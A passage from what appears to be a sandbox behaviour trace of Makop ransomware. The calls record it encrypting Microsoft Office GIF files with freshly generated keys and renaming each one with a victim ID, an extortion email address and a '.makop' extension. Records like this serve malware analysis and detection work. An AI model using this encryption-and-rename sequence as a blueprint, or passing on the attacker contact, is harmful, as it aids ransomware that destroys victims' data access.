Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.724] CloseHandle (hObject=0x130) returned 1 [0155.724] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0155.724] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned 76 [0155.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.729] GetProcessHeap () returned 0x48a0000 [0155.729] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.729] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.735] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0155.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.740] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.740] GetProcessHeap () returned 0x48a0000 [0155.740] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.740] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.740] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.740] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.740] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.740] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.740] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.741] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.741] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.741] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2dd, lpOverlapped=0x0) returned 1 [0155.741] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2e0) returned 1 [0155.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.741] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2e0, lpOverlapped=0x0) returned 1 [0155.742] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.742] SetEndOfFile (hFile=0x130) returned 1 [0155.750] GetProcessHeap () returned 0x48a0000 [0155.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.750] GetProcessHeap () returned 0x48a0000 [0155.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.750] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.752] CloseHandle (hObject=0x130) returned 1 [0155.752] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0155.752] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned 76 [0155.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.753] GetProcessHeap () returned 0x48a0000 [0155.754] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.754] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.754] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0155.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.758] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.758] GetProcessHeap () returned 0x48a0000 [0155.758] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.758] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.758] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.758] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.759] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.759] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.759] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.759] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.760] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.760] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x595, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x595, lpOverlapped=0x0) returned 1 [0155.761] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5a0) returned 1 [0155.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.761] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5a0, lpOverlapped=0x0) returned 1 [0155.761] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.761] SetEndOfFile (hFile=0x130) returned 1 [0155.768] GetProcessHeap () returned 0x48a0000 [0155.768] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.768] GetProcessHeap () returned 0x48a0000 [0155.768] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.768] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.770] CloseHandle (hObject=0x130) returned 1 [0155.770] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0155.770] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned 76 [0155.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.773] GetProcessHeap () returned 0x48a0000 [0155.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.773] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.774] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0155.778] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.778] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.778] GetProcessHeap () returned 0x48a0000 [0155.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.779] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.779] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.779] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.779] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.780] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.780] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.780] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.781] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.781] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11d1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x11d1, lpOverlapped=0x0) returned 1 [0155.782] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x11e0, dwBufLen=0x11e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x11e0) returned 1 [0155.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.782] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x11e0, lpOverlapped=0x0) returned 1 [0155.783] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.783] SetEndOfFile (hFile=0x130) returned 1 [0155.790] GetProcessHeap () returned 0x48a0000 [0155.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.790] GetProcessHeap () returned 0x48a0000 [0155.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.799] CloseHandle (hObject=0x130) returned 1 [0155.800] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0155.800] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned 76 [0155.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.801] GetProcessHeap () returned 0x48a0000 [0155.801] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.801] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.801] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0155.806] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.806] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.806] GetProcessHeap () returned 0x48a0000 [0155.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.806] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.806] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.806] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.806] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.807] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.807] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.807] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.807] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.808] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1323, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1323, lpOverlapped=0x0) returned 1 [0155.809] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1330, dwBufLen=0x1330 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1330) returned 1 [0155.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.809] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1330, lpOverlapped=0x0) returned 1 [0155.810] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.810] SetEndOfFile 